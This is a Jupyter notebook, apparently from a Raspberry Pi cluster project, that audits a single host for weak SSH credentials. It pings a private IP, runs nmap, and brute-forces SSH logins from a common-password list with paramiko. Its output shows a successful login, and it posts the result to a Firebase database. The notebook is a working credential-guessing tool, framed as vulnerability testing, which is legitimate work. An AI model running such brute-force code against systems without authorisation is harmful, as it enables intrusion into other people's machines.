{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Singular Demonstration\n", "\n", "Single hostname vulnerability test.\n", "\n", "This is the same code that is being run on the nodes in the Raspberry Pi Cluster (see `ClusterDemo.ipynb`).\n", "\n", "### Load Dataset for Common Username/Passwords" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "import csv\n", "import numpy as np\n", "uid_list=[]\n", "pwd_list=[]\n", "with open('data/Dataset.csv', encoding='utf-8-sig') as f:\n", " reader = csv.reader(f)\n", " for row in reader:\n", " uid_list.append(row[0])\n", " pwd_list.append(row[1])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Hostname to test:" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "hostname = \"172.22.0.166\"" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Test if hostname is reachable:" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true, "scrolled": true }, "outputs": [], "source": [ "import os\n", "if (os.system(\"ping -c 1 -w 1 \" + hostname)) == 0: valid = \"alive\"" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Run nmap" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "NmapHost: [172.22.0.166 () - up]\n" ] } ], "source": [ " from libnmap.process import NmapProcess\n", " from libnmap.parser import NmapParser\n", " nmproc = NmapProcess(hostname, \"-sV\")\n", " rc = nmproc.run()\n", " parsed = NmapParser.parse(nmproc.stdout)\n", " host = parsed.hosts[0]\n", " print(host)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### From nmap data, scan for open ports and begin testing" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/pi/.local/lib/python3.5/site-packages/paramiko/client.py:779: UserWarning: Unknown ssh-ed25519 host key for 172.22.0.166: b'24dcec1cd86f3783704c08c61b942df6'\n", " key.get_name(), hostname, hexlify(key.get_fingerprint()),\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "PWNNEEDDDD!!!!\n" ] } ], "source": [ " services = []\n", " status = \"Unknown\"\n", " cracked = False\n", " for serv in host.services:\n", " services.append(str(serv.port) + \"/\" + str(serv.service))\n", " if serv.port == 22:\n", " import paramiko\n", " client = paramiko.client.SSHClient()\n", " client.load_system_host_keys()\n", " client.set_missing_host_key_policy(paramiko.WarningPolicy)\n", " for uid in uid_list:\n", " for pwd in pwd_list:\n", " try:\n", " if cracked == False:\n", " client.connect(hostname,username=uid,password=pwd)\n", " stdin, stdout, stderr = client.exec_command('ls -l')\n", " status = \"Poor SSH Credentials\"\n", " print(\"PWNNEEDDDD!!!!\")\n", " cracked = True\n", " except:\n", " print(\"failed to pwn\")\n", " status = \"Unknown\"\n", " client.close()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Upload data to real-time database" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": true }, "outputs": [], "source": [ " import pyrebase\n", " config = {\n", " \"apiKey\": \"\",\n", " \"authDomain\": \"clusterscanner.firebaseio.com\",\n", " \"databaseURL\": \"https://clusterscanner.firebaseio.com/\",\n", " \"storageBucket\": \"clusterscanner.appspot.com\"\n", " }\n", " firebase = pyrebase.initialize_app(config)\n", " auth = firebase.auth()\n", " user = auth.sign_in_with_email_and_password(\"pi@cluster.pi\", \"\")\n", " db = firebase.database() # reference to the database service\n", " hoststruct = hostname.split(\".\")\n", " data = {\"hostname\": hostname,\n", " \"services\": services,\n", " \"status\": status}\n", " results = db.child(hoststruct[0]).child(hoststruct[1]).child(\n", " hoststruct[2]).child(hoststruct[3]).set(data, user['idToken'])" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "172.22.0.166 is alive\n" ] } ], "source": [ "print(hostname+\" is \"+valid)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.4" } }, "nbformat": 4, "nbformat_minor": 2 }